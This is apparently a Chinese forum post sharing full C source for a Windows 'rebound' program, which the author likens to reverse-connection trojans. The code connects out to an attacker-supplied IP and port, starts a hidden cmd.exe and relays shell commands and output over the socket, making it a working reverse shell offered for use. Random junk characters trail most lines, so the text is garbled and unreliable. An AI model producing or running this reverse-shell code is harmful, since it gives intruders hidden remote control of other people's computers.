这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rt%3\?rf
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/* ============================== yf lt2 R
Rebound port in Windows NT bwr}Ge
By wind,2006/7 7Ud
===============================*/ Qz[4M` M
#include 9f wFSJx
#include TgDx3U[
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#pragma comment(lib,"wsock32.lib") $ts%SDM
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void OutputShell(); #]g9O ?0$
SOCKET sClient; &efwfnG<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {6/Yu:;
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void main(int argc,char **argv) 7H,p/G?]k
{ T+$Af,~
WSADATA stWsaData; 6+Y^A})(F-
int nRet; A_:YpQ07@
SOCKADDR_IN stSaiClient,stSaiServer; [~%\:of70n
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if(argc != 3) ~_;x o?@ba
{ ,(D:cRN
printf("Useage:\n\rRebound DestIP DestPort\n"); S8 zc1!
return; ^")SU(`
} bOY<C%;C
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WSAStartup(MAKEWORD(2,2),&stWsaData); hwon^?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |=xK-;qs
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stSaiClient.sin_family = AF_INET; dx<KZR$!V
stSaiClient.sin_port = htons(0); ME9jN{ le
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _ +"V5z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ t7(#Cuv-
printf("Bind Socket Failed!\n"); O<H5W|cM
return; <<ze84E
} K~U5jpc
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stSaiServer.sin_family = AF_INET; GD]yP..
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C}7c:4c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !8z,}HUdK
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A.D@21py
{ e2P
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printf("Connect Error!"); ]V `L\
return; 2$Fy?08q
} nw)yK%`;M
OutputShell(); U}=o3u
} M^e;WY@ D
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void OutputShell() &4m\``//9
{ Z2%ySO
char szBuff[1024]; |z5`h
SECURITY_ATTRIBUTES stSecurityAttributes; 5Az4 <
OSVERSIONINFO stOsversionInfo; S<-e/`p=H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K<_bG<tm_
STARTUPINFO stStartupInfo; `Tt;)D
char *szShell; )J['0DUrZK
PROCESS_INFORMATION stProcessInformation; rEM#J"wF
unsigned long lBytesRead; l<89[{9o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^xpiNP!?a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Zeeixg-1<
stSecurityAttributes.lpSecurityDescriptor = 0; S(c&XJR
stSecurityAttributes.bInheritHandle = TRUE; GJ3@".+6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5Y#W$Fx($R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [Ju5O[o
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 wT
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .5'_5>tkv
stStartupInfo.wShowWindow = SW_HIDE; yLDv/r
stStartupInfo.hStdInput = hReadPipe; @u.%z# h"1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _>k&,p]y
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GetVersionEx(&stOsversionInfo); V"r2 t9A
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switch(stOsversionInfo.dwPlatformId) zS6oz=
{ ^O9_dP:
case 1: Kb/w+J
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szShell = "command.com"; 8vuA`T!~G
break; j~'a %P
default: qkg`4'rLg
szShell = "cmd.exe"; m7F"kD
break; bH7 lUS~
} Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XEB1%. p
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send(sClient,szMsg,77,0); #7Pnw.s3zz
while(1) q\`0'Z,
{ >7[o=!^:4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vzs_g]V
if(lBytesRead) Q8~|0X\.g
{ DC5^k[m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S%sD#0l
send(sClient,szBuff,lBytesRead,0); |P>Yf0
} n@`:"j%s_
else /jtU<uX
{ v{T%`WuPRf
lBytesRead=recv(sClient,szBuff,1024,0); rZK;=\Ot
if(lBytesRead<=0) break; 4|]0%H~n6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t@Bl3Nt{
} ZliJc7lss
} `L=d72:
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return; 3 cb$g
}